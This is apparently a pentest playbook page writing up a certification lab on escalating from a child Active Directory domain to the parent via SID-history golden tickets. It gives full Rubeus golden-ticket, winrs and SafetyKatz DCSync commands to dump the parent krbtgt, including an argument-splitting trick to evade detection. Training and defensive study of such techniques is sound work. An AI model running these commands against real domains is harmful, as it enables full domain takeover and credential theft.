> For the complete documentation index, see [llms.txt](https://playbook.sidthoviti.com/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://playbook.sidthoviti.com/active-directory-pentest/domain-privilege-escalation/across-trusts/child-to-parent-cross-domain/using-krbtgt-hash/crtp-lab-19.md).

# CRTP Lab 19

## Task

Using DA access to dollarcorp.moneycorp.local, escalate privileges to Enterprise Admin or DA to the parent domain, moneycorp.local using dollarcorp's krbtgt hash.

Since we already have krbtgt hash from dcorp-dc , we can create the inter-realm TGT and inject it.

{% code overflow="wrap" %}

```
C:\AD\Tools\Loader.exe -path C:\AD\Tools\Rubeus.exe -args golden /user:Administrator /id:500 /domain:dollarcorp.moneycorp.local /sid:S-1-5-21-719815819-3726368948-3917688648 /sids:S-1-5-21-335606122-960912869-3279953914-519 /aes256:154cb6624b1d859f7080a6615adc488f09f92843879b3d914cbcb5a8c3cda848 /netbios:dcorp /ptt
```

{% endcode %}

We can now access mcorp-dc

{% code overflow="wrap" %}

```
winrs -r:mcorp-dc.moneycorp.local cmd
C:\Users\Administrator.dcorp>set username
set username
USERNAME=Administrator

C:\Users\Administrator.dcorp>set computername
set computername
COMPUTERNAME=MCORP-DC

C:\Users\Administrator.dcorp>
```

{% endcode %}

To dump krbtgt\mcorp NTLM

{% code overflow="wrap" %}

```
C:\AD\Tools\Loader.exe -path C:\AD\Tools\SafetyKatz.exe -args "lsadump::dcsync /user:mcorp\krbtgt /domain:moneycorp.local" "exit"
```

{% endcode %}

OR use DCSync to dump secrets

{% code overflow="wrap" %}

```
# ArgSplit for "lsadump::dcsync"

C:\AD\Tools\Loader.exe -path C:\AD\Tools\SafetyKatz.exe -args "%Pwn% /user:mcorp\krbtgt /domain:moneycorp.local" "exit"
```

{% endcode %}